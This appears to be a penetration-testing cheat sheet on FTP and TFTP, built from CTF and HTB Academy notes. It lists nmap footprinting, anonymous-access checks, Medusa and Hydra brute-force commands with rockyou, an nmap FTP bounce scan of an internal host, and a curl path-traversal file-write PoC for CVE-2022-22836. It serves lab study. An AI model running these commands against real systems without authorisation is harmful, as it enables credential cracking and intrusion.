FTP

Source CTF and HTB Academy

Usually on port 21

The File Transfer Protocol (FTP) is one of the oldest protocols on the Internet. The FTP runs within the application layer of the TCP/IP protocol stack. Thus, it is on the same layer as HTTP or POP. These protocols also work with the support of browsers or email clients to perform their services. There are also special FTP programs for the File Transfer Protocol.

Footprinting

find / -type f -name ftp* 2>/dev/null | grep scripts find all the nmap scripts for ftp and choose the ones you wish to use
sudo nmap -sV -p21 -sC -A 10.129.14.136
nc -nv 10.129.14.136 21
telnet 10.129.14.136 21
openssl s_client -connect 10.129.14.136:21 -starttls ftp

What to try

Check if anonymous FTP is enabled, if so check if you can downloads files. If so you can RCE. Check out Hackthebox Devel's writeup to have an example of this.
If you do not have write access you could still find interesting and useful files like passwords or else.

vsftpd

One of the most used FTP servers on Linux-based distributions is vsFTPd.

sudo apt install vsftpd install it
cat /etc/vsftpd.conf | grep -v "#" interesting config to check
cat /etc/ftpusers file used to deny certain users access to the FTP service

Setting

Description

ftp <TARGET-IP> <port> you will need to specify the port in case it is not port 21 if it is 21 you do not need to specify

Download ftp files

wget -m --no-passive ftp://username:password@IP:2121 --starttls ftp
wget ftp://username:password@ftp_server_address/path/to/file

lftp

lftp man page
sudo apt install lftp
lftp -p 2121 -u anonymous, 10.10.10.10

Interesting commands

status will show configurations
debug
trace
ls -R list file recursively
get filename download a file
put filename upload a file
wget -m --no-passive ftp://anonymous:anonymous@10.129.14.136 Downaload all available files
- tree . inspect all files downloaded
Upload a file
- touch file create a file
- put file put it in the ftp server
PASV enter passive mode
Do not forget ls -al (to see hidden files)

Setting

Description

TFTP

Trivial File Transfer Protocol (TFTP) is simpler than FTP and performs file transfers between client and server processes. However, it does not provide user authentication and other valuable features supported by FTP. In addition, while FTP uses TCP, TFTP uses UDP, making it an unreliable protocol and causing it to use UDP-assisted application layer recovery.

Commands

Description

Bruteforcing

Medusa

medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
medusa -U users2.list -P pws.list -h 10.129.120.4 -M ftp -n 2121

Hydra

hydra -l user -p password ftp://10.10.10.10
hydra -L user.list -P password.list ftp://10.10.10.10

FTP Bounce Attack

An FTP bounce attack is a network attack that uses FTP servers to deliver outbound traffic to another device on the network. The attacker uses a PORT command to trick the FTP connection into running commands and getting information from a device other than the intended server.

Consider we are targetting an FTP Server FTP_DMZ exposed to the internet. Another device within the same network, Internal_DMZ, is not exposed to the internet. We can use the connection to the FTP_DMZ server to scan Internal_DMZ using the FTP Bounce attack and obtain information about the server's open ports. Then, we can use that information as part of our attack against the infrastructure.

Source GeeksforGeeks

The Nmap -b flag can be used to perform an FTP bounce attack:

nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

CVEs on FTP

CVE-2022-22836 This vulnerability is for an FTP service that does not correctly process the HTTP PUT request and leads to an authenticated directory/path traversal, and arbitrary file write vulnerability. This vulnerability allows us to write files outside the directory to which the service has access. Exploitation
```
curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
```